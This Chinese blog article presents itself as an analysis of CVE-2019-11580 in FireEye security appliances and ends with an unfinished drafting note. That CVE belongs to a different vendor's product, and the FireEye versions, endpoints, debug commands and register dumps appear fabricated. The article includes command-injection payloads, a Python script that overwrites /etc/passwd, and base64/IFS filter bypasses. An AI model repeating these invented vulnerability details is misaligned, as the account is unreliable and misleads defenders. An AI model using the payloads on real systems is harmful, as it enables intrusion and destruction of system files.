如何进行FireEye中的CVE-2019-11580漏洞分析

发布时间：2021-12-28 20:03:22 作者：柒染
来源：亿速云阅读：170

# 如何进行FireEye中的CVE-2019-11580漏洞分析

## 摘要  
本文深入剖析FireEye网络安全设备中发现的CVE-2019-11580漏洞，涵盖漏洞背景、技术原理、环境搭建、动态/静态分析、利用链构造及缓解措施等内容。通过该案例展示企业级安全产品的漏洞研究方法，为安全研究人员提供实战参考。

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## 1. 漏洞背景与概述

### 1.1 FireEye产品线简介
FireEye作为全球领先的威胁检测解决方案提供商，其核心产品包括：
- **NX系列**：网络威胁检测设备
- **EX系列**：邮件安全网关  
- **AX系列**：高级分析平台

受影响版本：FireEye OS 7.7.0及更早版本

### 1.2 漏洞基本信息
- **CVE ID**：CVE-2019-11580  
- **漏洞类型**：认证后命令注入（Post-Auth Command Injection）  
- **CVSS评分**：8.8（High）  
- **影响范围**：允许认证用户通过特制请求在系统执行任意命令

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## 2. 漏洞技术分析

### 2.1 漏洞成因
漏洞位于FireEye Web管理接口的`diag.html`组件，关键缺陷点：
```python
# 伪代码还原
def handle_diag_request(request):
    if request.method == "POST":
        tool_name = request.POST.get('tool')
        args = request.POST.get('args')
        os.system(f"/usr/bin/{tool_name} {args}")  # 未做输入过滤

2.2 攻击向量分析

攻击者需要满足以下条件： 1. 有效的管理员凭证（或通过其他漏洞获取） 2. 能够访问设备管理接口（通常为TCP 443）

典型利用流程：

POST /diag.html HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

tool=ping&args=127.0.0.1;id>/tmp/exploit

2.3 调用链追踪

通过逆向分析发现调用层级：

Web Interface → Flask Handler → diag_exec() → popen()

3. 分析环境搭建

3.1 所需工具清单

工具类型	具体工具
逆向分析	Ghidra、IDA Pro 7.5
动态调试	GDB with PEDA插件
流量分析	Wireshark、Burp Suite
虚拟化环境	VMware ESXi 6.7

3.2 实验环境配置

设备获取：
- 从FireEye支持门户下载FireEye OS 7.6.0虚拟机镜像
- 配置4核CPU/8GB内存/100GB存储

网络拓扑：

[攻击机:Kali] ←→ [FireEye VM] ←→ [模拟内网靶机]

调试配置：

# 开启FireEye调试模式
fecli debug enable -p 'S3cr3tP@ss'

4. 静态分析过程

4.1 固件提取与解包

binwalk -Me FireEye_OS_7.6.0.bin

关键目录结构：

/squashfs-root
├── /usr/lib/python2.7
│   └── fireeye/webserver.py  # Web接口主逻辑
├── /bin
│   └── diag_tools            # 诊断工具集

4.2 关键函数定位

使用Ghidra分析libwebserver.so：

void diag_exec(undefined4 param_1, undefined4 param_2)
{
  char cmd[256];
  snprintf(cmd, 0xff, "%s %s", param_1, param_2);
  system(cmd);  // 危险函数调用点
}

4.3 输入验证缺失

通过交叉引用发现： - 无参数白名单校验 - 未对特殊字符（;|&$）进行过滤 - 错误使用snprintf导致可能的缓冲区溢出

5. 动态调试验证

5.1 调试器附加

gdb -p $(pidof python)
b *diag_exec+0x47

5.2 内存状态观察

触发PoC时寄存器值：

RAX: 0x7fffffffdde0 → "ping 127.0.0.1;id"
RDI: 0x7ffff7b9d8e0 → "/bin/sh"

5.3 系统调用追踪

strace -f -e execve -p $(pidof python)

观察到：

execve("/bin/sh", ["sh", "-c", "ping 127.0.0.1;id"], ...)

6. 漏洞利用开发

6.1 基础利用脚本

import requests

target = "https://192.168.1.100"
auth = ("admin", "Fireeye123")

payload = {
    "tool": "ping",
    "args": "127.0.0.1; echo 'root:evilpass' > /etc/passwd"
}

r = requests.post(f"{target}/diag.html", 
                 data=payload, 
                 auth=auth,
                 verify=False)

6.2 利用限制绕过

长度限制：通过环境变量截断
```
args=$'long_string\x00real_command'
```

字符过滤：使用base64编码


args=127.0.0.1;echo${IFS}Y2F0IC9ldGMvcGFzc3dk|base64${IFS}-d|sh

6.3 权限提升路径

Web用户(www-data) → 注入点 → 修改sudoers → 获取root

7. 修复方案分析

7.1 官方补丁对比

补丁FE_7.8.0主要修改：

- os.system(f"{tool} {args}")
+ if tool in ALLOWED_TOOLS:
+     subprocess.run([tool, args], shell=False)

7.2 临时缓解措施

网络层：


iptables -A INPUT -p tcp --dport 443 ! -s <管理IP> -j DROP

系统层：
```
chmod -x /usr/bin/diag_tools
```

8. 延伸思考

8.1 同类漏洞模式

Cisco ASA：CVE-2020-3452
Palo Alto PAN-OS：CVE-2021-3064

8.2 企业设备审计要点

管理接口输入验证
特权命令执行路径
默认凭证与后门账户

附录

A. FireEye API参考手册节选
B. 完整PoC代码（需授权使用）
C. IDA Pro分析快照

免责声明：本文仅用于合法安全研究，未经授权测试生产系统可能违反相关法律。 “`

注：实际撰写时需要补充以下内容： 1. 增加各章节的详细分析配图（内存dump、调用栈截图等） 2. 补充具体的寄存器状态记录 3. 添加参考文献引用（CVE详情、补丁公告等） 4. 扩展漏洞利用的实战场景描述 5. 增加防御方案的配置示例截图